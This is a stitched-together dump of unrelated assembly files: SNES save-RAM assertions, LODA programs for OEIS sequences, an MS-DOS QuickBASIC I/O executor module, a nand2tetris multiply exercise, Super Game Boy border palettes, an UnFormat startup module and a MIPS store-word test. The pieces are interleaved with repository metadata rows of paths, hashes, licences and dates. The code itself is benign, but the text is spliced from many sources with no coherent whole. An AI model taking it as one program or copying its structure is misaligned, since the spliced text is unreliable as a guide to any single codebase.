%assertSRAM(NMIFrames, $7EF43E)
%assertSRAM(ChestsOpened, $7EF442)
%assertSRAM(StatsLocked, $7EF443)
%assertSRAM(MenuFrames, $7EF444)
%assertSRAM(HeartContainerCounter, $7EF448)
%assertSRAM(DeathCounter, $7EF449)
%assertSRAM(FluteCounter, $7EF44B)
%assertSRAM(RNGItem, $7EF450)
%assertSRAM(SwordlessBossKills, $7EF452)
%assertSRAM(FaerieRevivalCounter, $7EF453)
%assertSRAM(ChallengeTimer, $7EF454)
%assertSRAM(SwordTime, $7EF458)
%assertSRAM(BootsTime, $7EF45C)
%assertSRAM(FluteTime, $7EF460)
%assertSRAM(MirrorTime, $7EF464)
%assertSRAM(ChestTurnCounter, $7EF468)
%assertSRAM(CapacityUpgrades, $7EF469)
%assertSRAM(DamageCounter, $7EF46A)
%assertSRAM(MagicCounter, $7EF46C)
%assertSRAM(HighestMail, $7EF46E)
%assertSRAM(SmallKeyCounter, $7EF46F)
%assertSRAM(HeartPieceCounter, $7EF470)
%assertSRAM(CrystalCounter, $7EF471)
%assertSRAM(DungeonsCompleted, $7EF472)
;--------------------------------------------------------------------------------
%assertSRAM(ServiceSequence, $7EF4A0)
%assertSRAM(ServiceSequenceRx, $7EF4A0)
%assertSRAM(ServiceSequenceTx, $7EF4A0)
;--------------------------------------------------------------------------------
%assertSRAM(DungeonAbsorbedKeys, $7EF4B0)
%assertSRAM(SewerAbsorbedKeys, $7EF4B0)
%assertSRAM(HCAbsorbedKeys, $7EF4B1)
%assertSRAM(EPAbsorbedKeys, $7EF4B2)
%assertSRAM(DPAbsorbedKeys, $7EF4B3)
%assertSRAM(CTAbsorbedKeys, $7EF4B4)
%assertSRAM(SPAbsorbedKeys, $7EF4B5)
%assertSRAM(PDAbsorbedKeys, $7EF4B6)
%assertSRAM(MMAbsorbedKeys, $7EF4B7)
%assertSRAM(SWAbsorbedKeys, $7EF4B8)
%assertSRAM(IPAbsorbedKeys, $7EF4B9)
%assertSRAM(THAbsorbedKeys, $7EF4BA)
%assertSRAM(TTAbsorbedKeys, $7EF4BB)
%assertSRAM(TRAbsorbedKeys, $7EF4BC)
%assertSRAM(GTAbsorbedKeys, $7EF4BD)
%assertSRAM(DungeonLocationsChecked, $7EF4C0)
%assertSRAM(SewersLocations, $7EF4C0)
%assertSRAM(HCLocations, $7EF4C1)
%assertSRAM(EPLocations, $7EF4C2)
%assertSRAM(DPLocations, $7EF4C3)
%assertSRAM(CTLocations, $7EF4C4)
%assertSRAM(SPLocations, $7EF4C5)
%assertSRAM(PDLocations, $7EF4C6)
%assertSRAM(MMLocations, $7EF4C7)
%assertSRAM(SWLocations, $7EF4C8)
%assertSRAM(IPLocations, $7EF4C9)
%assertSRAM(THLocations, $7EF4CA)
%assertSRAM(TTLocations, $7EF4CB)
%assertSRAM(TRLocations, $7EF4CC)
%assertSRAM(GTLocations, $7EF4CD)
%assertSRAM(DungeonCollectedKeys, $7EF4E0)
%assertSRAM(SewerCollectedKeys, $7EF4E0)
%assertSRAM(HCCollectedKeys, $7EF4E1)
%assertSRAM(EPCollectedKeys, $7EF4E2)
%assertSRAM(DPCollectedKeys, $7EF4E3)
%assertSRAM(CTCollectedKeys, $7EF4E4)
%assertSRAM(SPCollectedKeys, $7EF4E5)
%assertSRAM(PDCollectedKeys, $7EF4E6)
%assertSRAM(MMCollectedKeys, $7EF4E7)
%assertSRAM(SWCollectedKeys, $7EF4E8)
%assertSRAM(IPCollectedKeys, $7EF4E9)
%assertSRAM(THCollectedKeys, $7EF4EA)
%assertSRAM(TTCollectedKeys, $7EF4EB)
%assertSRAM(TRCollectedKeys, $7EF4EC)
%assertSRAM(GTCollectedKeys, $7EF4ED)
%assertSRAM(FileMarker, $7EF4F0)
;--------------------------------------------------------------------------------
%assertSRAM(ExtendedFileNameWRAM, $7F6000)
%assertSRAM(RoomPotData, $7F6018)
%assertSRAM(SpritePotData, $7F6268)
%assertSRAM(PurchaseCounts, $7F64B8)
%assertSRAM(PrivateBlock, $7F6518)
%assertSRAM(DummyValue, $7F6718)
;================================================================================
; Direct SRAM Assertions
;--------------------------------------------------------------------------------
%assertSRAM(CartridgeSRAM, $700000)
%assertSRAM(RoomDataSRAM, $700000)
%assertSRAM(OverworldEventDataSRAM, $700280)
%assertSRAM(EquipmentSRAM, $700340)
%assertSRAM(InventoryTrackingSRAM, $70038C)
%assertSRAM(BowTrackingSRAM, $70038E)
%assertSRAM(ProgressIndicatorSRAM, $7003C5)
%assertSRAM(FileNameVanillaSRAM, $7003D9)
%assertSRAM(FileValiditySRAM, $7003E1)
%assertSRAM(ExtendedFileNameSRAM, $700500)
%assertSRAM(RomNameSRAM, $702000)
%assertSRAM(RomVersionSRAM, $701FFC)
%assertSRAM(PasswordSRAM, $703000)
pullpc
| 54.966817
| 111
| 0.562495
|
eb5f13f7f566800022a4393ffd8b4c80d15542d9
| 363
|
asm
|
Assembly
|
programs/oeis/003/A003057.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/003/A003057.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/003/A003057.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A003057: n appears n - 1 times.
; 2,3,3,4,4,4,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15
mov $1,1
lpb $0
add $1,1
trn $0,$1
lpe
add $1,1
mov $0,$1
| 33
| 265
| 0.600551
|
98968a203403f0b7d30949a0b84ecf20dbce0d0a
| 445
|
asm
|
Assembly
|
oeis/087/A087584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/087/A087584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/087/A087584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A087584: a(n)=(1/7)*sum(k=0,n,binomial(n,k)*Fibonacci(k)*7^k).
; Submitted by Christian Krause
; 1,9,122,1467,18205,223992,2762333,34044669,419657674,5172750495,63760719089,785929242096,9687552661513,119411072879553,1471889315038010,18142857823403763,223633182327192277,2756555811704284776,33977962780753446341,418820453306656692885
mov $1,1
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,49
mul $3,8
add $3,$1
add $1,$2
lpe
mov $0,$3
| 27.8125
| 237
| 0.750562
|
a794314b1f19f71e8e6f39e5a52ec584513ae674
| 357
|
asm
|
Assembly
|
programs/oeis/025/A025792.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/025/A025792.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/025/A025792.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A025792: Expansion of 1/((1-x)(1-x^9)(1-x^11)).
; 1,1,1,1,1,1,1,1,1,2,2,3,3,3,3,3,3,3,4,4,5,5,6,6,6,6,6,7,7,8,8,9,9,10,10,10,11,11,12,12,13,13,14,14,15,16,16,17,17,18,18,19,19,20,21,22,23,23,24,24,25,25,26,27,28
lpb $0
mov $2,$0
sub $0,9
div $2,11
seq $2,14181 ; Numbers > 9 with all digits the same.
add $1,$2
lpe
div $1,11
add $1,1
mov $0,$1
| 25.5
| 163
| 0.577031
|
85f81fa0ce3ab831102d9a4cb5788826081aed2e
| 9,771
|
asm
|
Assembly
|
45/qb/ir/exio.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
45/qb/ir/exio.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
45/qb/ir/exio.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
page 49,132
TITLE exio.asm - executors for IO-specific statements and functions
;***
;exio.asm - executors for IO-specific statements and functions
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
;
;****************************************************************************
.xlist
include version.inc
EXIO_ASM = ON
IncludeOnce architec
IncludeOnce context
IncludeOnce executor
IncludeOnce exint
IncludeOnce opintrsc
IncludeOnce opstmt
IncludeOnce opcontrl
IncludeOnce extort
IncludeOnce rtps
.list
assumes es, NOTHING
assumes ss, DATA
sBegin DATA
externW b$nuldes ;pointer to an SD for a NULL string
sEnd DATA
sBegin CODE
assumes cs, CODE
page
;***
;I4toU2
;
;Purpose:
;
; Given an I4 on the stack (before near return address), coerce it to
; an equivalent U2, replacing the I4 with the U2.
; Runtime error if overflow.
;
;Preserves:
;
; bx
;
;****
public I4toU2
I4toU2 proc near
pop cx ;near return address
pop ax
pop dx ;dx:ax is the I4
push ax ;assume success
ror dx,1 ;put low bit of high word in PSW.C
adc dx,0 ;set PSW.Z if PSW.C == sense of all bits
jnz @F ;brif overflow error
jmp cx ;return
@@:
jmp exMathErrOVF ;Declare overflow error
I4toU2 endp
;=============================================================================
; IO-specific Instrinsic Function Executors
;=============================================================================
MakeExe exFnCsrlin,opFnCsrlin
CALLRT B$CSRL,DispAx
MakeExe exFnInkey_,opFnInkey_
CALLRT B$INKY,DispAx
MakeExe exFnIoctl_,opFnIoctl_
CALLRT B$FICT,DispAx
MakeExe exFnLpos,opFnLpos
CALLRT B$LPOS,DispAx
MakeExe exFnPen,opFnPen
CALLRT B$FPEN,DispAx
MakeExe exFnPos,opFnPos
CALLRT B$FPOS,DispAx
MakeExe exFnScreen2,opFnScreen2
xor ax,ax ;pass 0 for defaulted third parameter
push ax
SkipExHeader
MakeExe exFnScreen3,opFnScreen3
CALLRT B$FSCN,DispAx
MakeExe exFnStick,opFnStick
CALLRT B$STIK,DispAx
MakeExe exFnStrig,opFnStrig
CALLRT B$FSTG,DispAx
MakeExe exFnInp,opFnInp
call I4toU2 ;coerce I4 port address to U2
CALLRT B$PINP,DispAx
MakeExe exFnEof,opFnEof
CALLRT B$FEOF,DispAx
MakeExe exFnFileAttr,opFnFileAttr
CALLRT B$FATR,DispDxAx
MakeExe exFnFreefile,opFnFreefile
CALLRT B$FREF,DispAx
MakeExe exFnInput_1,opFnInput_1
xor ax,ax
push ax ;default if no channel number specified
SkipExHeader
MakeExe exFnInput_2,opFnInput_2
CALLRT B$FINP,DispMovSd
MakeExe exFnLoc,opFnLoc
CALLRT B$FLOC,DispDxAx
MakeExe exFnLof,opFnLof
CALLRT B$FLOF,DispDxAx
MakeExe exFnSeek,opFnSeek
CALLRT B$FSEK,DispDxAx ;Return I4 file position on stack
;=============================================================================
; IO-specific Statement Executors
;=============================================================================
MakeExe exStBload1,opStBload1
xor ax,ax
push ax ;garbage here, but ax = 0 used below
jmp short Bload_Common
MakeExe exStBload2,opStBload2
call I4toU2 ;coerce I4 on stack to a U2
mov al,1 ;flag - - 2nd parm specified
Bload_Common:
push ax ;flag: 0 == 2nd parm defaulted
CALLRT B$BLOD,DispMov
MakeExe exStBsave,opStBsave
call I4toU2 ;coerce length to U2
pop bx ;save U2 length in bx
call I4toU2 ;coerce offset to U2
push bx ;put length back on (bx was preserved)
CALLRT B$BSAV,DispMov
MakeExe exStCls,opStCls
CALLRT B$SCLS,Disp
MakeExe exFieldInit,opFieldInit
CALLRT B$FLDP,DispMov
MakeExe exFieldItem,opFieldItem
CALLRT B$FIEL,DispMov ;call RT for single FIELD parm pair
MakeExe exStIoctl,opStIoctl
CALLRT B$SICT,Disp
MakeExe exStKey,opStKey
LODSWTX ;ax = constant for ON, OFF, or LIST
push ax
CALLRT B$KFUN,Disp
MakeExe exStKeyMap,opStKeyMap
CALLRT B$KMAP,Disp
MakeExe exStLocate,opStLocate
LODSWTX ;ax = count of parms on stack
push ax
CALLRT B$LOCT,Disp
MakeExe exStScreen,opStScreen
LODSWTX ;ax = count of parms on stack
push ax
CALLRT B$CSCN,Disp
MakeExe exStViewPrint0,opStViewPrint0
mov ax,-1 ;pass -1 for two defaulted parameters
push ax
push ax
SkipExHeader
MakeExe exStViewPrint2,opStViewPrint2
CALLRT B$VWPT,Disp
MakeExe exStWidthLprint,opStWidthLprint
CALLRT B$LWID,Disp
MakeExe exStClose,opStClose
LODSWTX ;get count of parms
push ax
CALLRT B$CLOS,DispMov
MakeExe exStGet1,opStGet1
CALLRT B$GET1,Disp
MakeExe exStGet2,opStGet2
CALLRT B$GET2,DispMov
MakeExe exStGetRec2,opStGetRec2
LODSWTX ;get size parm
cmp ax,-1 ;FS?
jz NoCbG2
push ax
NoCbG2:
CALLRT B$GET3,DispMov
MakeExe exStGetRec3,opStGetRec3
LODSWTX ;get size parm
cmp ax,-1 ;FS?
jz NoCbG3
push ax
NoCbG3:
CALLRT B$GET4,DispMov
MakeExe exStPut1,opStPut1
CALLRT B$PUT1,Disp
MakeExe exStPut2,opStPut2
CALLRT B$PUT2,Disp
MakeExe exStPutRec2,opStPutRec2
LODSWTX ;get size parm
cmp ax,-1 ;FS?
jz NoCbP2
push ax
NoCbP2:
CALLRT B$PUT3,DispMov
MakeExe exStPutRec3,opStPutRec3
LODSWTX ;get size parm
cmp ax,-1 ;FS?
jz NoCbP3
push ax
NoCbP3:
CALLRT B$PUT4,DispMov
MakeExe exInputEos,opInputEos
CALLRT B$PEOS,Disp
MakeExe exInputChan,opInputChan
CALLRT B$DSKI,Disp
MakeExe exInputPrompt,opInputPrompt
test BYTE PTR es:[si+2],FINP_Prompt
jnz Got_Prompt ;brif user specified a prompt string
PUSHI ax,<dataOFFSET b$nuldes> ;push pointer to null SD
Got_Prompt:
push es
push si ;far pointer to input preamble block
LODSWTX
inc ax ;round cbBlock up, because the parser
and al,0FEh ; never emits odd-size pcodes
add si,ax ;move txtptr to next pcode
CALLRT B$INPP,DispMov
MakeExe exStReadI2Near,opStRead
SkipExHeader
MakeExe exStInputI2Near,opStInput
pop ax ;convert near pointer to far pointer
push ds
push ax
SkipExHeader
MakeExe exStReadI2,opStRead
SkipExHeader
MakeExe exStInputI2,opStInput
CALLRT B$RDI2,Disp
MakeExe exStReadI4Near,opStRead
SkipExHeader
MakeExe exStInputI4Near,opStInput
pop ax ;convert near pointer to far pointer
push ds
push ax
SkipExHeader
MakeExe exStReadI4,opStRead
SkipExHeader
MakeExe exStInputI4,opStInput
CALLRT B$RDI4,Disp
MakeExe exStReadR4Near,opStRead
SkipExHeader
MakeExe exStInputR4Near,opStInput
pop ax ;convert near pointer to far pointer
push ds
push ax
SkipExHeader
MakeExe exStReadR4,opStRead
SkipExHeader
MakeExe exStInputR4,opStInput
CALLRT B$RDR4,Disp
MakeExe exStReadR8Near,opStRead
SkipExHeader
MakeExe exStInputR8Near,opStInput
pop ax ;convert near pointer to far pointer
push ds
push ax
SkipExHeader
MakeExe exStReadR8,opStRead
SkipExHeader
MakeExe exStInputR8,opStInput
CALLRT B$RDR8,Disp
MakeExe exStReadSD,opStRead
SkipExHeader
MakeExe exStInputSD,opStInput
pop ax ;convert near pointer (psd) to far ptr
push ds
push ax
xor ax,ax
push ax ;note this is for an SD, not an FS
SkipExHeader
MakeExe exStReadFS,opStRead
SkipExHeader
MakeExe exStInputFS,opStInput
CALLRT B$RDSD,Disp
MakeExe exStLineInput,opStLineInput
xor bx,bx ;note this is for an SD, not an FS
pop cx ;pSD
mov dx,ds ;Segment of SD to dx
jmp short LineInput
MakeExe exStLineInputFS,opStLineInput
pop bx ;cbFS
pop cx ;Offset of FS
pop dx ;Segment of FS
LineInput:
LODSWTX ;fetch fPromptWord
test al,FINP_Prompt ;see if SDPrompt is present on stack
jnz Prompt_Present ; brif it is
PUSHI di,<dataOFFSET b$nuldes> ;push pointer to null SD
Prompt_Present:
push dx ;Segment
push cx ;offset part of far pSd/pFS
push bx ;cbFS or 0
push ax ;pass fPromptWord as final parameter
CALLRT B$LNIN,DispMov ;No movement, but restore DI
MakeExe exStLock,opStLock
SkipExHeader ;the mode parm differentiates these
MakeExe exStUnLock,opStUnLock
.errnz LOCK_Def1stArg - 4000H
.errnz LOCK_DefLastArg - 8000H
LODSWTX ;get mode word, and advance si
test al,LOCK_1stToLast ;see if user said 'All records'
jz PushRecParms ; brif so; push garbage record numbers
test ah,040H ;Is "TO" present?
jnz Parms_OK ;Both on stack - no more work to do
test ah,080H ;Is "from" the only arg present?
jz Parms_OK ;"TO" present only - args both provided
; by the parser
;Here if only "from" is present
; so, duplicate the arg
pop bx ;Duplicate the arg on the stack
pop cx
PushRecParms:
push cx ;push first I4 record parm
push bx
push cx ;push second I4 record parm
push bx
Parms_OK:
push ax ;push mode word
CALLRT B$LOCK,Disp ;lock/unlock approriate records
MakeExe exStOpen2,opStOpen2
PUSHI ax,-1 ;default record length
SkipExHeader
MakeExe exStOpen3,opStOpen3
LODSWTX ;get mode word, and advance si
push ax ;push mode parameter
CALLRT B$OPEN,DispMov
MakeExe exStOpenOld3,opStOpenOld3
PUSHI ax,-1 ;default record length
SkipExHeader
MakeExe exStOpenOld4,opStOpenOld4
CALLRT B$OOPN,DispMov
MakeExe exStReset,opStReset
CALLRT B$REST,Disp
MakeExe exStSeek,opStSeek
CALLRT B$SSEK,Disp ;Return I4 file position on stack
MakeExe exStOut,opStOut
pop bx ;data to output
call I4toU2 ;coerce I4 port address to U2 on stack
push bx
CALLRT B$POUT,Disp
MakeExe exStWait2,opStWait2
xor bl,bl ;make the xor-expression a nop
jmp short StWait_Common
MakeExe exStWait3,opStWait3
pop bx ;fetch xor-expression
StWait_Common:
pop di ;fetch and-expression
call I4toU2 ;coerce I4 port address to U2 (on stack)
push di ;and-expression
push bx ;xor-expression
CALLRT B$WAIT,DispMov ;NOTE: only using 'Mov' varient because
;NOTE: we used DI above
MakeExe exStWidth2I2,opStWidth2 ;WIDTH n,m
CALLRT B$WIDT,Disp
MakeExe exStWidth2SD,opStWidth2 ;WIDTH "def:",m
CALLRT B$DWID,Disp
MakeExe exStWidthfile,opStWidthfile ;WIDTH #n,m
CALLRT B$FWID,Disp
MakeExe exChanOut,opChanOut
CALLRT B$CHOU,Disp
MakeExe exNop,opNop
SkipExHeader
MakeExe exLbs,opLbs
SkipExHeader
MakeExe exStLet,opStLet
Disp1:
DispMac ;speed critical - - dispatch directly here
sEnd CODE
end
| 21.617257
| 78
| 0.735544
|
cd047c8d8437042dd76984781d46a7e388545820
| 481
|
asm
|
Assembly
|
programs/oeis/202/A202050.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/202/A202050.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/202/A202050.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A202050: Number of (n+2) X 8 binary arrays avoiding patterns 001 and 110 in rows and columns.
; 1392,5216,15760,41088,95984,205792,411696,777760,1400080,2418432,4030832,6511456,10232400,15689792,23534800,34610112,49992496,71042080,99459024,137348288,187293232,252438816,336585200,444292576,580998096
mov $1,2
mov $4,$0
add $4,10
mov $3,$4
bin $3,8
sub $3,$0
mov $2,$3
add $2,6
mov $3,$0
mov $5,6
add $5,$2
add $3,$5
add $5,$3
mul $1,$5
sub $1,228
div $1,2
mul $1,16
add $1,1392
| 21.863636
| 205
| 0.723493
|
81cf30df277372d794b2e69e241f4ee8bc4f902a
| 1,010
|
asm
|
Assembly
|
util/gut/mode.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/gut/mode.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/gut/mode.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; Set mode V2.00 1987 Tony Tebby QJUMP
section up
xdef gu_mode4 ; set conditionally to mode 4
include 'dev8_keys_qdos_sms'
;+++
; Set the mode to mode 4. If this actually requires a mode change, the
; mode 8 flag is set in the data block
;
; d0 r -1 no change otherwise old mode
; status return unset
;---
gu_mode4
gmd.reg reg d1/d2/d3/a4
movem.l gmd.reg,-(sp)
moveq #-1,d1 ; enquire
bsr.s gmd_do ; do mode call
moveq #-1,d0
move.b d1,d3 ; right mode?
beq.s gmd_exit
moveq #0,d1 ; set mode 0
bsr.s gmd_do
move.b d3,d0 ; and old mode return
gmd_exit
tst.l d0
movem.l (sp)+,gmd.reg
rts
gmd_do
moveq #sms.dmod,d0 ; set / enquire mode
moveq #-1,d2
trap #do.sms2
rts
end
| 25.897436
| 70
| 0.471287
|
4e57345ac17de6829c6b2393ba81018a99e20809
| 1,278
|
asm
|
Assembly
|
nand2tetris/projects/04/mult/mult.asm
|
raventid/coursera_learning
|
115a03f08d30d8ba49f02c9692c289cbfb242358
|
[
"MIT"
] | 1
|
2019-11-28T09:26:00.000Z
|
2019-11-28T09:26:00.000Z
|
nand2tetris/projects/04/mult/mult.asm
|
raventid/coursera_learning
|
115a03f08d30d8ba49f02c9692c289cbfb242358
|
[
"MIT"
] | null | null | null |
nand2tetris/projects/04/mult/mult.asm
|
raventid/coursera_learning
|
115a03f08d30d8ba49f02c9692c289cbfb242358
|
[
"MIT"
] | null | null | null |
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
@R0
D=M
@first
M=D // Save R0 to Ram[first]
@R1
D=M
@second
M=D // Save R1 to Ram[second]
@i
M=1 // We start LOOP with i=1
@result
M=0 // Result will be 0 for some time
(LOOP)
// We make fast jump to STOP here, because test program only gives me
// 20 tacts to perform all of the actions.
@second
D=M
@STOP
D; JLE // if second == then jump to the end, n * 0 = 0
@first
D=M
@STOP
D; JLE // if first == then jump to the end, 0 * n = 0
@i
D=M
@second
D=D-M // D = i - second (on iteration 2: 2 - 10 = -8)
@STOP
D;JGT // if i > n goto STOP
@first
D=M // Move first value to D
@result
M=D+M // sum = sum + @first
@i
M=M+1 // i = i + 1
@LOOP
0;JMP // unconditional jump to repeat LOOP
(STOP)
@result
D=M // take first were we accumulated all of the data
@R2
M=D // put value of memory in first into second register
(END)
@END
0;JMP
// Put your code here
| 18.794118
| 72
| 0.583725
|
0080b4d25dbf939f416475c46c5a2cee38ff8771
| 1,160
|
asm
|
Assembly
|
data/sgb_border.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
data/sgb_border.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
data/sgb_border.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
BorderPalettes:
INCBIN "gfx/tilemaps/sgbborder.map"
ds $100
RGB 24, 6, 6
RGB 31, 25, 9
RGB 25, 10, 10
RGB 0, 0, 0
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 18, 24, 18
RGB 25, 10, 10
RGB 15, 25, 15
RGB 0, 0, 0
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 18, 6, 31
RGB 31, 25, 9
RGB 15, 25, 15
RGB 0, 0, 0
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 12, 31, 6
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
RGB 31, 31, 25
SGBBorderGraphics:
INCBIN "gfx/pokemon_yellow.t6.2bpp"
| 13.181818
| 36
| 0.564655
|
d8f146f84b28c44debd38512584010cd0d0c7ba8
| 1,164
|
asm
|
Assembly
|
cmd/cps/rebuild/uf_org.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/cps/rebuild/uf_org.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/cps/rebuild/uf_org.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
; Copyright 1990 Central Point Software, Inc.
; All rights reserved.
;------------------------------------------------------------
; This is the first module of UnFormat.
; LINK uf_org+uf_main+uf_io+uf_msg+uf_partn+uf_jims+uf_last, uf.exe/m;
;
; M008 MD 2/28/91 Changed copyright text
prog SEGMENT public
ASSUME CS:prog
PUBLIC top_of_mem, fcb1, parms, entry ;M008
PUBLIC major_ver, minor_ver
EXTRN start:near
cr EQU 13
lf EQU 10
;
major_ver EQU 6
minor_ver EQU 6
;
asm_message MACRO x1,x2,x3,x4,x5,x6,x7,x8,x9
%OUT *MSG: x1&x2&x3&x4&x5&x6&x7&x8&x9
ENDM
;
IF2
asm_message <Version >,%major_ver,<.>,%minor_ver
ENDIF
;
cr EQU 13
lf EQU 10
;
;-----------------------------------------------------------
;
ORG 2
top_of_mem DW ?
ORG 5Ch
fcb1 DB ?
ORG 80h
parms DB ?
;
ORG 100h
entry: jmp start
;
;
;M008 start
DB 13,10,"Copyright (C) 1987-1990"
DB " Central Point Software, Inc. "
;banner DB "PC Tools Rebuild/UnFormat "
;
; DB major_ver +"0"
; DB "."
; DB minor_ver + "0"
; DB "M"
; DB " "
; DB cr,lf
; DB 0
; DB 24h ;To end string when used from UF_JIMS.
;
;M008 end
DB 1Ah
prog ENDS
END entry
| 18.1875
| 70
| 0.58677
|
cfc1f29722c8c5e0f66d90945134ffabddeb1013
| 49,020
|
asm
|
Assembly
|
P6/data_P6/testpoint/testpoint61.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | 1
|
2022-01-23T09:24:47.000Z
|
2022-01-23T09:24:47.000Z
|
P6/data_P6/testpoint/testpoint61.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
P6/data_P6/testpoint/testpoint61.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
ori $1, $0, 0
ori $2, $0, 15
ori $3, $0, 10
ori $4, $0, 0
sw $3, 0($0)
sw $2, 4($0)
sw $2, 8($0)
sw $2, 12($0)
sw $3, 16($0)
sw $1, 20($0)
sw $3, 24($0)
sw $2, 28($0)
sw $4, 32($0)
sw $1, 36($0)
sw $3, 40($0)
sw $1, 44($0)
sw $2, 48($0)
sw $4, 52($0)
sw $4, 56($0)
sw $3, 60($0)
sw $1, 64($0)
sw $3, 68($0)
sw $3, 72($0)
sw $3, 76($0)
sw $1, 80($0)
sw $2, 84($0)
sw $1, 88($0)
sw $2, 92($0)
